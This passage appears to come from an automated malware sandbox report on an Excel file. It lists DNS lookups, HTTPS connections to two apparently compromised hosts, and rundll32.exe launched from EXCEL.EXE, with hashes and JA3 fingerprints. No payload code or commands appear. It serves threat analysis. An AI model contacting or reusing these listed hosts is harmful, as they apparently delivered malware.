| May 12, 2021 21:16:19.105853081 CEST | 53 | 56680 | 8.8.8.8 | 192.168.2.7 |
DNS Queries |
|---|
| Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class |
|---|---|---|---|---|---|---|---|
| May 12, 2021 21:14:16.531063080 CEST | 192.168.2.7 | 8.8.8.8 | 0x5663 | Standard query (0) | A (IP address) | IN (0x0001) | |
| May 12, 2021 21:14:17.428313971 CEST | 192.168.2.7 | 8.8.8.8 | 0xdc6e | Standard query (0) | A (IP address) | IN (0x0001) |
DNS Answers |
|---|
| Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class |
|---|---|---|---|---|---|---|---|---|---|
| May 12, 2021 21:14:16.588973045 CEST | 8.8.8.8 | 192.168.2.7 | 0x5663 | No error (0) | 192.185.39.58 | A (IP address) | IN (0x0001) | ||
| May 12, 2021 21:14:17.487384081 CEST | 8.8.8.8 | 192.168.2.7 | 0xdc6e | No error (0) | 192.185.32.232 | A (IP address) | IN (0x0001) |
HTTPS Packets |
|---|
| Timestamp | Source IP | Source Port | Dest IP | Dest Port | Subject | Issuer | Not Before | Not After | JA3 SSL Client Fingerprint | JA3 SSL Client Digest |
|---|---|---|---|---|---|---|---|---|---|---|
| May 12, 2021 21:14:16.985111952 CEST | 192.185.39.58 | 443 | 192.168.2.7 | 49696 | CN=cpcontacts.signifysystem.com CN=R3, O=Let's Encrypt, C=US | CN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co. | Thu Apr 01 17:00:25 CEST 2021 Wed Oct 07 21:21:40 CEST 2020 | Wed Jun 30 17:00:25 CEST 2021 Wed Sep 29 21:21:40 CEST 2021 | 771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0 | 37f463bf4616ecd445d4a1937da06e19 |
| CN=R3, O=Let's Encrypt, C=US | CN=DST Root CA X3, O=Digital Signature Trust Co. | Wed Oct 07 21:21:40 CEST 2020 | Wed Sep 29 21:21:40 CEST 2021 | |||||||
| May 12, 2021 21:14:17.812964916 CEST | 192.185.32.232 | 443 | 192.168.2.7 | 49698 | CN=mail.fcventasyservicios.cl CN=R3, O=Let's Encrypt, C=US | CN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co. | Tue Mar 16 13:01:12 CET 2021 Wed Oct 07 21:21:40 CEST 2020 | Mon Jun 14 14:01:12 CEST 2021 Wed Sep 29 21:21:40 CEST 2021 | 771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0 | 37f463bf4616ecd445d4a1937da06e19 |
| CN=R3, O=Let's Encrypt, C=US | CN=DST Root CA X3, O=Digital Signature Trust Co. | Wed Oct 07 21:21:40 CEST 2020 | Wed Sep 29 21:21:40 CEST 2021 |
Code Manipulations |
|---|
Statistics |
|---|
Behavior |
|---|
Click to jump to process
System Behavior |
|---|
General |
|---|
| Start time: | 21:14:10 |
| Start date: | 12/05/2021 |
| Path: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0x1e0000 |
| File size: | 27110184 bytes |
| MD5 hash: | 5D6638F2C8F8571C593999C58866007E |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
General |
|---|
| Start time: | 21:14:18 |
| Start date: | 12/05/2021 |
| Path: | C:\Windows\SysWOW64\rundll32.exe |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0x1190000 |
| File size: | 61952 bytes |
| MD5 hash: | D7CA562B0DB4F4DD0F03A89A1FDAD63D |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
General |
|---|
| Start time: | 21:14:19 |
| Start date: | 12/05/2021 |
| Path: | C:\Windows\SysWOW64\rundll32.exe |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0x1190000 |
| File size: | 61952 bytes |
| MD5 hash: | D7CA562B0DB4F4DD0F03A89A1FDAD63D |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
Disassembly |
|---|
Code Analysis |
|---|